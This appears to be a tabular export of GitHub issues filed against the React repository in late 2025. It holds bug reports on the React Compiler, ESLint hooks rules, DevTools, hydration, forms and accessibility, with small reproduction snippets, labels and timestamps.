- Unified mental model between client and server
- Explicit dependency tracking for server-side operations

**3. Document-Scoped Query Language**
- Single query optimization across component tree
- Automatic batching and deduplication of data requests
- Reduces round-trips and over-fetching
- Performance gains similar to GraphQL but integrated into React's component m... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-11-07T19:23:45Z,2026-02-12T21:11:46Z,3
facebook/react,3599416556,[Compiler Bug]: Update issue for nested objects,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAQzDATwF5dgAdDXXDfAWwWV0pABUEc2Aaa2-ABNBMLmBZUatXDlEkWbfPjb9cAX2oaM1BAA8ADhBh5BCAGb4oAGzxmoGONgCWmXAFkAngEF9+gBQAlBSq6Fh4ANo4+NgIXkQkPDIkAMrY0bHx2AC6uORQxKnpfoTE2AGqdg7OrlD6gkVBktIEmQB0QiJirbIIJLmsIABGgypStKWFMXGlfsCt8yUkauVSWqqi2LA0ADyCTgBuAHzAUVNt9Exq24MwAPSHqrQnaWel7cKiRN3YcthqFLcAFS4bYAWnBuGwAAsnGBcABzEhw2r1GKCXCA25aZrPdLTEjvTpEXAAMhJIL2R0e0lxrwJHU+YG+v3+wCBIPBoMhMLhiOwcIwEDwKPS6Mx2Ok21ulMOEto2ycGH0UDw2A8+gQpDYgxV2EwbFwmAAwlYnHAANakYAimJqQ4AVTq6WpUsVyuwDykUplAG5NNQAxgQDw0JgzE54SgQE4GIZjJD1QgKLgAApWKDwxUAeX01Sw6lwZhgEAYuAA5IN8IMEFZQfp05mMKDRPhHKD0LGnFYEHc9jgy37tBhZqpbrcO-ou9EXBg3BBTAoQPgrFZRv8wNOwOGuKmG9nczOwAEfcHwFCIAB3ACSGBiMHoVjAKAsj4QaiAA

### Repro steps

If update button gets clicked, first street gets updated, but not the second one.

This seems to me unexpected behaviour.

### How often does this bug happen?

Every time

### What version of React are you using?

react 19

### What version of React Compiler are you using?

1.0",Type: Question,2025-11-07T09:18:09Z,2025-11-07T16:36:21Z,2
facebook/react,3595352461,Bug: wrong module identifer,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19

## Steps To Reproduce

1.
Create a component: 
```js
import { useEffect } from ""react"";
import type { ReactElement } from ""react"";

type Props = {
  register: (
    position: ""header"" | ""body"" | ""footer"",
    element: ReactElement,
  ) => void;
};

function Bar({ register }: Props) {
  useEffect(() => register(""header"", <PluginRender />));
  return null;
}

const PluginRender = () => {
  return (
    <div>
      <button>
        degrees
      </button>
    </div>
  );
};

export default Bar;
```
 
2. build it with vitejs

3. import bundled file from another react project
<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior

`[2025-11-06T11:11:57Z ERROR script... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-11-06T11:18:14Z,2026-02-20T21:06:47Z,2
facebook/react,3594805628,"[DevTools Bug]: DevTools in Edge constantly display ""Looks like this page doesn't have React, or it hasn't been loaded yet.""","### Website or app

https://github.com/mgrosperrin/repro_issues/tree/react-dev-tools-edge

### Repro steps

1. Run `npm run dev`
2. In Edge, open the DevTools and go to the ""Components"" or ""Profiler"" tabs

Additionaly when I go back to the ""Sources"" built-in tabs, it was completly empty like if he crashed.

### How often does this bug happen?

Every time

### DevTools package (automated)

_No response_

### DevTools version (automated)

_No response_

### Error message (automated)

_No response_

### Error call stack (automated)

```text

```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text

```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-11-06T09:02:02Z,2025-11-09T14:04:07Z,14
facebook/react,3587589589,Bug:  Getting `Cannot access refs during render` error from event handler.,"So on react official documentations, I found, it recommend to avoid direct read  or write during render on ref.  

Here is the docs link (under pitfall)-
https://react.dev/reference/react/useRef

And here I also found that ref is safe to use on event handler or effect.

`You can read or write refs from event handlers or effects instead.`

So, we can read `ref.current` from a onSubmit handler as it is a event handler. But when I combine it with `react-hook-form` I am getting the lint error with following context-

```
error  Error: Cannot access refs during render

React refs are values that are not needed for rendering. Refs should only be accessed outside of re
nder, such as in event handlers or effects. Accessing a ref value (the `current` property) during r
ender can cause your component not to update as expected (https://react.dev/reference/react/useRef)
```

So What I am doing on my code(see code)-

```javascript
const onSubmit: SubmitHandler<ReceiptFormInput> = async (value) => {
    let sigUrl: string;
    if (sig) {
        const { blob } = await upload(ref.current?.toFile());
        sigUrl = blob?.url || """"
    } else {
        sigUrl = item.signature
    }
    if (template) {
        mutate({
            ...value,
            templateId: template.templateId,
            previewUrl: template.previewUrl,
            signature: sigUrl,
            id: item.id
        });
    }
}
```

this onSubmit handler is triggering from `form`

```javascript
<form onSubmit={handle... [TRUNCATED]",Status: Unconfirmed,2025-11-04T17:36:26Z,2025-11-14T17:00:35Z,5
facebook/react,3585622687,Bug: IntersectionObserver causing effect to run again even when dependencies don't change,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

On using an intersection observer in useEffect hook, the effect runs again even when the dependencies have not changed at all.

React version:
18.0.0

## Steps To Reproduce

1. Go to the sandbox link.
2. Open up the console, press the ""change"" button

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

https://codesandbox.io/p/sandbox/practical-andras-nspr6p



## The current behavior

The effect with intersection observer setup is run twice despite the dependencies not changing between the 2 runs.

## The expected behavior

The effect with intersection observer observer setup should have run only once.
","Status: Unconfirmed,Resolution: Stale",2025-11-04T09:33:26Z,2026-02-15T11:07:06Z,5
facebook/react,3580287979,Bug: useEffectEvent having different behaviors when used with memo and without memo,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.2.0

## Steps To Reproduce

1. Wrap components with memo

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

https://codesandbox.io/p/sandbox/damp-dust-skq4hf

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior

Having different behaviors

![Image](https://github.com/user-attachments/assets/9e1814e5-3fa5-407e-afc1-52d874b80084)

## The expected behavior

Having the same behavior
","Type: Bug,Component: Reconciler",2025-11-03T01:59:31Z,2026-03-12T03:02:44Z,8
facebook/react,3578962280,Typo in comment: “untill” → “until” in ReactDOMRoot.js,"**Describe the issue**
There’s a small typo in a comment inside `packages/react-dom/src/client/ReactDOMRoot.js`.

Example:
```js
// NOTE: This is a workaround untill concurrent features are stabilized
","Status: Unconfirmed,Resolution: Stale",2025-11-02T04:50:27Z,2026-04-16T03:09:15Z,5
facebook/react,3574912264,Bug: &copysr; is escaped as text,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.2.0

## Steps To Reproduce

Put `&copysr;` into any react component text, or use this minimal component:
```
const Test = () => { return (<>&copysr;</>); }
```

Link to example: https://codesandbox.io/p/devbox/snowy-tree-xwdkyk

## The current behavior

The page shows the text ""&amp;copysr;""

## The expected behavior

The page should show &copysr;

## Current Workaround

Input `&#8471;` to get &#8471;.","Status: Unconfirmed,Resolution: Stale",2025-10-31T13:14:00Z,2026-02-09T03:06:20Z,5
facebook/react,3574323935,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
","Status: Unconfirmed,Resolution: Stale",2025-10-31T10:22:54Z,2026-01-29T16:23:24Z,1
facebook/react,3570950161,Bug: useEffect does not run twice due to remounting in strict mode and dev run,"useEffect does not run twice in strict mode and dev run due to the remount semantic.

React version: 19.1.1

```tsx
function DebugMount() {
  useEffect(() => {
    console.log('[DebugMount] mounted');
    return () => console.log('[DebugMount] cleanup');
  }, []);
  return null;
}


function App() {
   return <DebugMount/>;
}

createRoot(document.getElementById('root')!).render(
   <StrictMode>
      <App/>
   </StrictMode>
);
```

## The current behavior
useEffect does not run twice on with remount behavior in strict mode and dev run.

## The expected behavior
it should run twice
","Status: Unconfirmed,Resolution: Stale",2025-10-30T14:01:22Z,2026-02-14T11:07:03Z,4
facebook/react,3569158659,Bug: View Transitions occasionally stall with default `onDefaultTransitionIndicator`,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

The default `onDefaultTransitionIndicator` seems to sporadically stall view transitions. This does not occur with a custom `onDefaultTransitionIndicator` handler.

This occurs in Chrome, and Safari with the ""Navigation API"" feature flag enabled. This doesn't occur in Firefox because it doesn't support the Navigation API yet.
| Chrome | Safari |
| ------------- | ------------- |
| <video src=""https://github.com/user-attachments/assets/5d735ec8-3da5-42da-bed2-70f265aaecdf""> | <video src=""https://github.com/user-attachments/assets/feed3a27-4f71-4557-9cb0-dc3a78a10a4c""> |

The error message in development is a bit more descriptive:
```
Uncaught Error: A ViewTransition timed out because a Navigation stalled. This can happen if a Navigation is blocked on React itself. Such as if it's resolved inside useEffect. This can be solved by moving the resolution to useLayoutEffect.
    at customizeViewTransitionError (react-dom-client.development.js:25585:20)
    at react-dom-client.development.js:25783:24Caused by: TimeoutError: Transition was aborted because of timeout in DOM update
```
While the code example implements a custom router which also intercepts navigation events, it resolves them correctly inside `useLayoutEffect()`. Moreover, adding a custom `on... [TRUNCATED]","Component: DOM,Resolution: Stale",2025-10-30T06:46:48Z,2026-05-06T17:35:01Z,6
facebook/react,3564769658,'Splitter' button is not accessible using keyboard in windows.,"**Test Environment:**
OS: Windows 11 Version 25H2 (OS Build 26200.6584)
Browser: Edge (Version 142.0.3595.33)
URL: https://bryntum.com/products/schedulerpro/examples-scheduler/frameworks/react/javascript/simple/build/

**User Impact:**
Keyboard-only users cannot access the Splitter button, preventing them from resizing panels or adjusting layout. This creates barriers for users with motor disabilities and screen reader users also.

**Repro Steps:**

1. Open the URL: https://bryntum.com/products/schedulerpro/examples-scheduler/frameworks/react/javascript/simple/build/ in edge in windows.
2. Bryntum Schedular page will open.
3. Press tab key to reach the spiltter control.
4. Observe that 'Splitter' button is accessible using keyboard or not.

**Actual Result:**
While navigating using tab key, keyboard focus is not moving to 'Splitter' control.

**Refer Attachment:**

1. 'Splitter' button is not accessible using keyboard in windows.png
2. 'Splitter' button is not accessible using keyboard in windows.mp4

https://github.com/user-attachments/assets/e7886dce-a945-423a-a7af-15a52606feac
<img width=""960"" height=""538"" alt=""Image"" src=""https://github.com/user-attachments/assets/d857cdc6-197c-4324-bf33-9a769dde88a9"" />

**Expected Result:**
'Splitter' button should be accessible using keyboard in windows.","Status: Unconfirmed,Resolution: Stale",2025-10-29T07:49:33Z,2026-04-16T08:38:32Z,3
facebook/react,3564059558,Bug: React 19 Uncaught TypeError: Do not know how to serialize a BigInt,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19

## Steps To Reproduce

1. Set props with bigint

```ts
import { useCallback, useState } from 'react';

interface ServiceItem {
  name: string;
  regionIds: bigint[];
}

interface MachineItem {
  name: string;
  services: ServiceItem[];
}

interface MachineItemProps {
  machine: MachineItem;
}

function Machine(props: MachineItemProps) {
  return (
    <>
      <p>{props.machine.name}</p>
      {props.machine.services.map(service => (
        <p key={service.name}>{service.name}</p>
      ))}
    </>
  );
}

export default function Page() {
  const [update, setUpdate] = useState(0);
  const [machine, setMachine] = useState(() => {
    return {
      name: 'machine1',
      services: [
        {
          name: 'service1',
          regionIds: [31321968590458880n]
        }
      ]
    };
  });

  const onClick = useCallback(() => {
    setUpdate(update => ++update);

    setMachine(() => {
      return {
        name: 'machine2',
        services: [
          {
            name: 'service2',
            regionIds: [31321968590458881n]
          }
        ]
      };
    });
  }, []);

  return (
    <>
      <Machine machine={machine} />
      <button onClick={onClick}>Update {update}</button>
    </>
  );
}
```

<!--
  Your bug w... [TRUNCATED]",Status: Unconfirmed,2025-10-29T02:18:26Z,2026-01-28T10:54:52Z,5
facebook/react,3561168860,Activity mode=“hidden” does not hide nested portals,"React's `<Activity>` component does not hide portals when they are nested under another element. Only direct portal children are hidden, causing inconsistent behavior.

React version: 19.2.0

## Steps To Reproduce

1. Wrap a parent `<div>` inside `<Activity mode=""hidden"">`
2. Inside that `<div>`, render any regular child and a portal via `createPortal(...)`
3. Observe: regular child is hidden but the portal remains visible
4. Remove the additional wrapper and observe that the portal is now hidden correctly

Link to code example: https://codesandbox.io/p/sandbox/hwt3pl

Minimal reproduction:

```jsx
import { createPortal } from ""react-dom"";
import { Activity } from ""react"";

export default function App() {
  return (
    <Activity mode=""hidden"">
      <div>
        <h1>Hello</h1>
        {createPortal(<p>Portal child (should be hidden)</p>, document.body)}
      </div>
    </Activity>
  );
}
```

## The current behavior

Portals nested within another element inside  remain visible when Activity is in “hidden” mode.

## The expected behavior

All children of an element, including portals nested at any depth, should be hidden and restored consistently when using “hidden” mode.

---

## Notes

Not sure if this is a bug or expected behavior, though. But I feel like we should either find a way to hide the portal or update the docs to mention this on the ""unwanted side effects"" section. Thoughts?",Status: Unconfirmed,2025-10-28T11:41:56Z,2025-11-10T19:39:41Z,3
facebook/react,3560457621,Bug: eslint(react-hooks/set-state-in-effect) not work with try catch function,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.2

## Steps To Reproduce

<img width=""474"" height=""466"" alt=""Image"" src=""https://github.com/user-attachments/assets/b3f9db99-e62c-4953-ab47-db79ecb3b755"" />

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:
```
const Demo = ()=>{
  const [count, setCount] = useState(0);
  useEffect(()=>{
    setCount(123);
  },[])
  const handleClick = useCallback(()=>{
    try {
      console.log(""do"");
    } catch (_error) {
      console.log(""error"");
    }finally{
      console.log(""finally"");
    }
  },[])
  return <div onClick={handleClick}>Demo {count}</div>
}

const Demo2 = ()=>{
  const [count, setCount] = useState(0);
  useEffect(()=>{
    setCount(123);
  },[])
  
  return <div>Demo {count}</div>
}
```
<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-10-28T08:52:50Z,2026-04-15T16:26:26Z,6
facebook/react,3555275031,Bug: `eslint-plugin-react-hooks` causes weird lint error: `react-hooks/use-memo`,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.2.0
eslint-plugin-react-hooks: 7.0.1

## Steps To Reproduce

1. Make `useCallback` with an explicitly typed function.
2. Run `npm run lint`

```tsx
type Noop = () => void;
const WeirdLintError = () => { // eslint error 1
  const [count, setCount] = useState(0);
  const handleClick = useCallback(
    (() => {
      setCount((c) => ++c);
    }) satisfies Noop,
    []
  );

  return <button onClick={handleClick}>Count: {count}</button>;
};
const WeirdLintError2 = () => { // eslint error 2
  const [count, setCount] = useState(0);
  const handleClick = useCallback(
    (() => {
      setCount((c) => ++c);
    }) as Noop,
    []
  );

  return <button onClick={handleClick}>Count: {count}</button>;
};
const WorkAroundLintError = () => { // Workaround to the function above
  const [count, setCount] = useState(0);
  const handleClick = useCallback<Noop>(() => {
    setCount((c) => ++c);
  }, []);

  return <button onClick={handleClick}>Count: {count}</button>;
};
```

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example: https://stackblitz.com/edit/v... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-10-27T06:33:32Z,2026-02-01T11:06:53Z,3
facebook/react,3553676282,Bug:,"I found that in the react render, the class  `SRu4RHny` and  `BIxkyKps`   just like here below:

in the pure html file, the `SRu4RHny`  will be rendered first  and then render the `BIxkyKps` class props,

but why the  `SRu4RHny`  will be rendered in the last ? 


<img width=""1049"" height=""588"" alt=""Image"" src=""https://github.com/user-attachments/assets/56e52425-e63e-4506-98bf-f97f755bfdb6"" />


<img width=""888"" height=""551"" alt=""Image"" src=""https://github.com/user-attachments/assets/2b39fe7f-f6aa-47bf-a4e5-719238a5e974"" />

## The current behavior
SRu4RHny rendered in the last and the BIxkyKps was rendered in the fisrt

## The expected behavior
just like the pure html, the `BIxkyKps` should be rendered in the last , as it was placed in the behind, just like the pure html




",Status: Unconfirmed,2025-10-26T09:51:01Z,2025-12-02T09:42:52Z,1
facebook/react,3551997772,[Compiler Bug]:,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [x] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

Type: Bug

### Repro steps

Type: Bug

### How often does this bug happen?

Every time

### What version of React are you using?

Type: Bug

### What version of React Compiler are you using?

Type: Bug","Type: Bug,Status: Unconfirmed",2025-10-25T07:20:59Z,2025-10-26T05:06:49Z,0
facebook/react,3551997736,[Compiler Bug]:,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [x] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

Type: Bug

### Repro steps

Type: Bug

### How often does this bug happen?

Every time

### What version of React are you using?

Type: Bug

### What version of React Compiler are you using?

Type: Bug","Type: Bug,Status: Unconfirmed",2025-10-25T07:20:55Z,2025-10-26T05:07:04Z,0
facebook/react,3550913216,[Compiler Bug]: Memoization is not correctly applied around `for` loops,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAwgIYA21ARpXANYA0JZAsghhAQL4EAZjAgYCAHRAwEjPJIDc4gHbLBUJXDxoISggA0AFMTR5uYfgEoiyggTg6whYpTZ1+BALzsEXHgYNWHgB81rq2BNQIhJSeBAAMimG29kqOBG5eANoAuonhQrgEBilpaAAmBBCCBCZmVsA2+TXVBuUEAKQEAEyeHl5x9Y1N6QB0WKQAFq1lFnnDBJQA1Itz+QII1GSh86PjYFMAtOWzQ+F8p+dJBNJ4sLrOrvxzfGyZtRhg2SdhJYSZcGwyHhyNlYqQEABlPCUUwGOjfPggFggFKCNAAcxQ6GwuEIeAAnlgEEQCAAFahQdFoJQAeSwWgc7mEogIAHIGHQNgcsBSqUoDtJZAd7Ng0JEYAB6MpoRysxLKIyNCUSkVYMUw7RKDgQMoIZASEA0aiSZQCMAasBohDmcmU6l0hmpWZI8ATCAAdwAkkpTDAlDQwChBAGEHwgA

### Repro steps

In the provided minimal example, the memoization is clearly applied incorrectly. The variable `a` is initialized outside the for loop and serves as a counter within the loop, but for some reason it's a) treated as an external dependency to the loop and b) treated as if it's immutable. Since the memoization compares against the initial value of 0 but then stores the _final_ value after the loop, whenever the for loop causes `a` to increment it breaks the memoization for all subsequent renders.

### How often does ... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: React Compiler",2025-10-24T20:26:40Z,2026-06-17T22:54:16Z,5
facebook/react,3545313872,[Compiler: suggestion] Performance improvement: Replace template literals with single quotes for static strings,"Dear React Compiler team,

I would like to bring to your attention a potential performance consideration regarding the current code generation strategy.

The React Compiler consistently uses template literals (backticks) for all string literals in the generated code, even when no variable interpolation is needed. For example:

```javascript
// Current output
(0, Z.jsxs)(`p`, {
    children: [
        `Edit `,
        (0, Z.jsx)(`code`, { children: `src/App.tsx` }),
        ` and save to test HMR`,
    ],
})

// Could be optimized to
(0, Z.jsxs)('p', {
    children: [
        'Edit ',
        (0, Z.jsx)('code', { children: 'src/App.tsx' }),
        ' and save to test HMR',
    ],
})
```

While the performance difference is minimal for individual string operations, template literals have a slight overhead compared to regular string literals due to:
- Additional parsing for potential interpolation syntax
- Slightly larger memory footprint
- More complex string creation process

Proposal:
- Uses single quotes for static strings without interpolation
- Only uses template literals when actual variable interpolation is needed

Tools:
- ""vite"": ""npm:rolldown-vite@latest""
- ""babel-plugin-react-compiler"": ""^1.0.0""",Status: Unconfirmed,2025-10-23T15:45:35Z,2025-10-23T16:53:44Z,1
facebook/react,3542308451,Bug: View transitions don't work in Firefox,"React version: 19.2

## Steps To Reproduce

when I go to https://react.dev/blog/2025/04/23/react-labs-view-transitions-activity-and-more, none of the view transitions show the cross-fade animations in Firefox Developer Edition (145.0b5 (aarch64)). However, I see the animations in both Safari (Version 26.0.1 (21622.1.22.11.15)) and Google Chrome (Version 141.0.7390.109). 

In all three browsers, I see no relevant warnings in devtools, and no errors. 

## The current behavior


## The expected behavior
","Status: Unconfirmed,Resolution: Stale",2025-10-22T20:35:05Z,2026-06-07T20:30:26Z,6
facebook/react,3540693510,"Bug: Form submitter is missing, if form includes input with name 'id'","When creating a form, with multiple submit buttons, you can tell which button is the submitter by giving the button a `name` and `value`. But _if_ you include an input element with the name `id` within the form, like `<input type=""hidden"" name=""id"" value=""1"" />` this information is gone.

The issue seems to originate from the function `createFormDataWithSubmitter()` in React. Specifically where it checks for `form.id`. 

https://github.com/facebook/react/blob/71b3a03cc936c8eb30a6e6108abf5550f5037f71/packages/react-dom-bindings/src/events/plugins/FormActionEventPlugin.js#L63-L65

When you include an input element with the name `id`, `form.id` will be the actual input element. I guess the intention here is instead to get the `id` attribute on the form instead?

```jsx
<form id=""my-form"">
  <input type=""hidden"" name=""id"" value=""1"" />
</form>
```

In the above example, `form.id` will be the `<input />` element, not `my-form`. If I remove the input element, `form.id` will be `my-form`.

React version: 19.2

## Steps To Reproduce

1. Create a form with with a named submit button (e.g. `action`, and an input field with name `id` 
2. Call `formData.get('action')` within the `action` handler of the form

Link to code example: https://codesandbox.io/p/sandbox/naughty-dew-d39gvp?file=%2Fsrc%2FApp.js%3A16%2C16

## The current behavior

The return value of `formData.get('action')` is `null`


## The expected behavior

The return value should be the `value` of the submitter.
",Status: Unconfirmed,2025-10-22T12:37:38Z,2025-12-18T10:34:17Z,4
facebook/react,3539918858,Screen reader is incorrectly announcing table information on the whole tile section in windows.,"**Test Environment:**
OS: Windows 11 25H2 (26200.6584)
Browser: Edge (Version 142.0.3595.19)
Screen reader: NVDA (2025.2)
Test URL: https://bvaughn.github.io/react-virtualized/#/components/Masonry

**User Impact:**
Low vision and Blind users who uses screen readers will be impact if screen reader incorrectly announces the table information on the whole tile section.

**Repro Steps:**

1. Open the URL: https://bvaughn.github.io/react-virtualized/#/components/Masonry in edge browser in windows.
2. Masonry page will open.
3. Press tab key to navigate to the whole tile section.
4. Verify whether screen reader is incorrectly announcing table information on the whole tile section or not.

**Actual Result:**
Screen reader is incorrectly announcing table information on the whole tile section in windows.

**Refer Attachment:**

1. Screen reader is incorrectly announcing table information on the whole tile section in windows.png
2. Screen reader is incorrectly announcing table information on the whole tile section in windows.mp4
https://github.com/user-attachments/assets/50384b55-3e69-42f7-b507-fba873b6542a
<img width=""960"" height=""533"" alt=""Image"" src=""https://github.com/user-attachments/assets/d17bf91e-d6ba-42f2-ba00-975bf5b469c2"" />


**Expected Result:**
Screen reader shouldn't announce table information on the non-table content i.e. whole tile section in windows.","Status: Unconfirmed,Resolution: Stale",2025-10-22T09:16:54Z,2026-04-16T08:38:33Z,3
facebook/react,3539607347,[DevTools Bug]: React Developer Tools extension causes rendering exception,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 18

extension version: 7.0.0

## Steps To Reproduce

- https://github.com/ant-design/ant-design/issues/55311#issuecomment-3404882699
- https://github.com/alibaba/hooks/issues/2864#issuecomment-3430931024

It works fine after closing the plugin

React Developer Tools extension has been updated recently. My browser automatically upgraded to the latest version 7.0.0. This issue also appeared. And after I tried to disable the extension, the page resumed normal operation.

https://github.com/ant-design/ant-design/issues/55251#issuecomment-3388638321

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

- [codesandbox](https://codesandbox.io/p/sandbox/ahooks-usevirtuallist-dkryqt)
- [reproduce](https://dkryqt.csb.app/) 

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stac... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-10-22T08:10:53Z,2026-01-28T08:08:37Z,3
facebook/react,3539351359,Bug: eslint-plugin-react-hooks treat `use` as a react hook,"eslint will provide `react-hooks/rules-of-hooks` errors on `use` api

React version: 19.2

## Steps To Reproduce

1. Add this code to a component
```
try {
  return React.use(context);
} catch {
  return false;
}
```

## The current behavior

eslint error on line 2
> React Hook ""React.use"" cannot be called in a try/catch block.

## The expected behavior

should not report an error",Status: Unconfirmed,2025-10-22T06:46:54Z,2025-10-22T06:52:42Z,0
facebook/react,3539175229,Bug: Dev hydration false-positive for equivalent class token sets,"Proposed fix in PR: #34940 

**React version:** 19.x (also reproducible on current `main`)

## Steps To Reproduce

1. Server-render markup where `class` values are **token-equivalent** but differ by whitespace/order/duplicates.
2. Hydrate on the client with the same tokens in a different order/spacing.

Minimal reproduction:

```jsx
import * as React from 'react';
import * as ReactDOMClient from 'react-dom/client';
import * as ReactDOMServer from 'react-dom/server';

const container = document.createElement('div');
container.innerHTML = ReactDOMServer.renderToString(
<main className=""foo   bar  bar"" />
);

ReactDOMClient.hydrateRoot(
container,
<main className=""bar foo"" />,
{ onRecoverableError: () => {} } // surfaces the warning in DEV
);
```

CRLF variant:

```jsx
container.innerHTML = ReactDOMServer.renderToString(
<main className=""flex\r\nitems-center"" />
);
ReactDOMClient.hydrateRoot(container, <main className=""flex items-center"" />);
```

<img width=""498"" height=""406"" alt=""CRLF hydration"" src=""https://github.com/user-attachments/assets/726131b8-e99e-4b33-a72e-d31f00d96add"" />

## Link to code example

* Order/dupes/whitespace: [https://codesandbox.io/p/sandbox/rprwrz?file=%2Findex.html&case=order](https://codesandbox.io/p/sandbox/rprwrz?file=%2Findex.html&case=order)
* CRLF between tokens: [https://codesandbox.io/p/sandbox/rprwrz?file=%2Findex.html&case=crlf](https://codesandbox.io/p/sandbox/rprwrz?file=%2Findex.html&case=crlf)

> Open the Console to see the hydration w... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-10-22T05:26:52Z,2026-01-27T07:11:10Z,3
facebook/react,3538742684,Consider Adopting NPM Trusted Publishing,"> ## Overview
> Recent [supply chain attacks on npm](https://github.blog/security/supply-chain-security/our-plan-for-a-more-secure-npm-supply-chain/) have highlighted the need for stronger package publishing security. The September 2025 Shai-Hulud worm compromised 500+ packages through stolen maintainer tokens, showing the risks of token-based publishing.
> 
> Trusted publishing helps by eliminating long-lived tokens that can be stolen or accidentally exposed; generating automatic provenance provides cryptographic proof of where/how packages are built; and is an industry standard adopted by `PyPI`, `RubyGems`, `crates.io`, `NuGet`, etc...
> 
